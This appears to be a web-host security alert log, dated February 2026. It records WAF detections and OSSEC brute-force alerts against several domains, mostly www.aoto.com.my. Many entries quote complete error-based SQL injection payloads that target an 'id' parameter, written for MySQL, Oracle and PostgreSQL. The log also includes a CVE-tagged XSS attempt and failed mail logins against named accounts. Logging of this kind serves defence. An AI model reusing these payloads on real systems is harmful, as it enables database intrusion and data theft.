IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/ROW(3860,1984)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3860=3860,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2758/**/UNION/**/SELECT/**/10224/**/UNION/**/SELECT/**/9289/**/UNION/**/SELECT/**/10194)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/10003=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10003=10003)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:30:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))anD/**/7837=dBMS_UTiliTy.sqlID_to_sqLhAsh(Chr(126)||%27~%27||(SelecT/**/(caSE/**/WHen/**/(7837=7837)/**/ThEn/**/1/**/else/**/0/**/enD)/**/From/**/duaL)||%27~%27||CHr(126)) AND (('wB3LOHHh' LIKE 'wB3LOHHh||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/row(3860,1984)>(select/**/count(*),concat('~',(select/**/(elt(3860=3860,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2758/**/union/**/select/**/10224/**/union/**/select/**/9289/**/union/**/select/**/10194)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:30:08 dovecot_login authenticator failed for H=(u6YnerWoe) [165.154.217.204]:54862: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(3087=3087,1))),'~'),3087)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:30:04 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:60916: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:31:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54563: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:31:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:31:11 dovecot_login authenticator failed for H=(6oyOOK) [165.154.217.204]:61140: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:31:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57500: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:31:05 dovecot_login authenticator failed for H=(7mgZMaLW8o) [165.154.217.204]:60755: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")AND/**/ROW(2397,5127)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2397=2397,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/8822/**/UNION/**/SELECT/**/1131/**/UNION/**/SELECT/**/1140/**/UNION/**/SELECT/**/7767)a/**/GROUP/**/BY/**/x) AND (\"lTVS9SMB\" LIKE \"lTVS9SMB\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:31:05 dovecot_login authenticator failed for H=(l2DzAerNs) [178.16.52.139]:63296: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\" AND /*!50000AND*/ROW(7515,10249)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7515=7515,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/5173/*!50000UNION*//*!50000SELECT*/4744/*!50000UNION*//*!50000SELECT*/9647/*!50000UNION*//*!50000SELECT*/2609)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/row(2397,5127)>(select/**/count(*),concat('~',(select/**/(elt(2397=2397,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8822/**/union/**/select/**/1131/**/union/**/select/**/1140/**/union/**/select/**/7767)a/**/group/**/by/**/x) and (\"ltvs9smb\" like \"ltvs9smb\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:31:06 dovecot_login authenticator failed for H=(Hd9SYU) [158.94.208.175]:64821: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\" AND AND/**/1818=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1818=1818)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/4413=cast((%27~%27||(select/**/(case/**/when/**/(4413=4413)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/xml)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/row(2397,5127)>(select/**/count(*),concat('~',(select/**/(elt(2397=2397,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8822/**/union/**/select/**/1131/**/union/**/select/**/1140/**/union/**/select/**/7767)a/**/group/**/by/**/x) and (\"ltvs9smb\" like \"ltvs9smb\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:31:21 dovecot_login authenticator failed for H=(q0W24PckM) [178.16.54.138]:61990: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:32:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:32:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62153: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:32:29 dovecot_login authenticator failed for H=(xNyEv5KEy) [178.16.52.139]:52719: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/1803=cast((%27~%27||(select/**/(case/**/when/**/(1803=1803)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/xml) and \"wuajawdj\" like \"wuajawdj\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-02 05:32:29 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:54270: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-02 05:32:02 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:56690: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.56.179.201
country_id: 1814991
description:
2026-02-02 05:32:34 dovecot_login authenticator failed for H=([183.56.179.201]) [183.56.179.201]:54648: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:32:47 dovecot_login authenticator failed for H=(NaNekE) [178.16.54.138]:57536: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-02-02 05:32:50 dovecot_login authenticator failed for H=([1.250.67.190]) [1.250.67.190]:41032: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"AND/**/10708=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(10708=10708)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND \"Z8XCROzM\" LIKE \"Z8XCROzM\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:32:07 dovecot_login authenticator failed for H=(CmAOZf) [165.154.217.204]:51135: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:32:19 dovecot_login authenticator failed for H=(ESYppQ) [158.94.208.175]:53623: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:33:26 dovecot_login authenticator failed for H=(z7zEPYr) [178.16.52.139]:63323: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-02 05:33:41 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:42614: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350423
name: IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)
abuser: 5.1.4.54
country_id: 690791
domain: tst-ma.com
description:
IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)||MVN:ARGS:author||MV:<a href=\"https://bestcasinobangladesh.online/\">bestcasinobgepPi</a>||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:33:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47590: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and extractvalue(2586,concat(0x7e,(select/**/(elt(2586=2586,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:33:04 dovecot_login authenticator failed for H=(mYhc1MubO) [165.154.217.204]:57451: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:33:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55200: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-02-02 05:33:07 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.49.14]:65256: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/10488=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10488=10488)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual)) and (\"3etrh7uv\" like \"3etrh7uv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:33:23 dovecot_login authenticator failed for H=(sWJjweT) [165.154.217.204]:59665: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-02 05:33:29 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:34780: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND EXTRACTVALUE(4911,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(4911=4911,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:34:00 dovecot_login authenticator failed for H=(7NjhnFbFOh) [158.94.208.175]:58832: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/10488=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10488=10488)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND (\"3EtRH7uV\" LIKE \"3EtRH7uV\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1EXTRACTVALUE(7025,CONCAT(0x7e,(SELECT/**/(ELT(7025=7025,1))),0x7e))# X2QZxL0B HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:34:35 dovecot_login authenticator failed for H=(UQbUoqefZy) [158.94.208.175]:61373: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/(select/**/5055/**/from(select/**/count(*),concat('~',(select/**/(elt(5055=5055,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(8657=8657,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'extractvalue(9991,concat(0x7e,(select/**/(elt(9991=9991,1))),0x7e)) and 't5ncsnma' like 't5ncsnma||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:34:15 dovecot_login authenticator failed for H=(3QD1iqgU) [165.154.217.204]:49566: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.64.246
country_id: 1512440
description:
2026-02-02 05:34:19 dovecot_login authenticator failed for H=([213.230.64.246]) [213.230.64.246]:57178: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8657=8657,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:34:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65087: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.37.177.219
country_id: 1814991
description:
2026-02-02 05:34:09 dovecot_login authenticator failed for H=([61.177.36.109]) [153.37.177.219]:45670: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1) and and/**/(select/**/6395/**/from(select/**/count(*),concat('~',(select/**/(elt(6395=6395,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))extractvalue(8853,concat(0x7e,(select/**/(elt(8853=8853,1))),0x7e)) and (('ro3d3suz' like 'ro3d3suz||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.45
country_id: 6252001
description:
2026-02-02  5:34:18 265504 [Warning] Aborted connection 265504 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.45' (This connection closed normally without authentication)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8657=8657,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/(select/**/6395/**/from(select/**/count(*),concat('~',(select/**/(elt(6395=6395,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:34:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.14
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/CustomRouteCompiler.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:34:17 dovecot_login authenticator failed for H=(5X8CMcFq8) [178.16.52.139]:63531: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/(select/**/1481/**/from(select/**/count(*),concat('~',(select/**/(elt(1481=1481,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('folkrapv'='folkrapv||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/(select/**/1527/**/from(select/**/count(*),concat('~',(select/**/(elt(1527=1527,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"aejpuicz\"=\"aejpuicz\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/5880/**/from(select/**/count(*),concat('~',(select/**/(elt(5880=5880,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-02 05:35:17 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:43670: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6641=6641,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/(select/**/5880/**/from(select/**/count(*),concat('~',(select/**/(elt(5880=5880,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1131=1131,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/(select/**/1481/**/from(select/**/count(*),concat('~',(select/**/(elt(1481=1481,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('folkrapv'='folkrapv||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
